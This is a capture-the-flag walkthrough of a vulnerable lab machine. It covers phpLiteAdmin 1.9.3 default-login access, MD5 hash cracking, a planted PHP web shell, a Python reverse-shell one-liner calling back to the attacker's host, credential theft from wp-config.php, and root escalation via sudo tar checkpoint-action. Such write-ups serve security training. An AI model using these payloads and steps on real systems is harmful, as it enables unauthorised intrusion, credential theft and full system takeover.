-> phpLiteAdmin v1.9.3

console
$ searchsploit phpliteadmin

------------------------------------------------------------------------------------- ---------------------------------

Here we can use default password which is 'admin'

Once we logged in, there an info table with two users :

text
root	653F4B285089453FE00E2AAFAC573414	1
zico	96781A607F4E9F5F423AC01F0DAB0EBD	2

Exploit

Let's try these hashes into crackstation.net :

text
653F4B285089453FE00E2AAFAC573414	md5	34kroot34
96781A607F4E9F5F423AC01F0DAB0EBD	md5	zico2215@

We could try those password with ssh but none of them works.

So we could use the exploit found in exploitdb for version 1.9.3 :

console
$ searchsploit -m php/webapps/24044.txt

So I create a new db named evil.php. Add a table joe with an integer field phil. In the field I insert a new row with this content :

php
<?php system($_GET["joe"]);?>

Now we need to move this file into a good dir. Go to rename database and set the new name with a new path :

/var/www/dbadmin/evil.php

On my kali I launch a pwncat :

console
$ pwncat -l 1234

Now we just have to navigate to it :

console
http://192.168.0.188/dbadmin/evil.php?joe=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.36",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

We got a shell :)

Privilege escalation

console
$ cat /home/zico/wordpress/wp-config.php
[...]
/** MySQL database username */
define('DB_USER', 'zico');

/** MySQL database password */
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');

[...]

We can login via ssh with thos creds :

zico:sWfCsfJSPV9H3AmQzw8

Enumeration for privesc

console
$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

Exploit

Go to gtfobins to check. I choose to use tar :

console
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Then...

console
# cat /root/flag.txt
#
#
#
# ROOOOT!
# You did it! Congratz!
# 
# Hope you enjoyed! 
# 
#
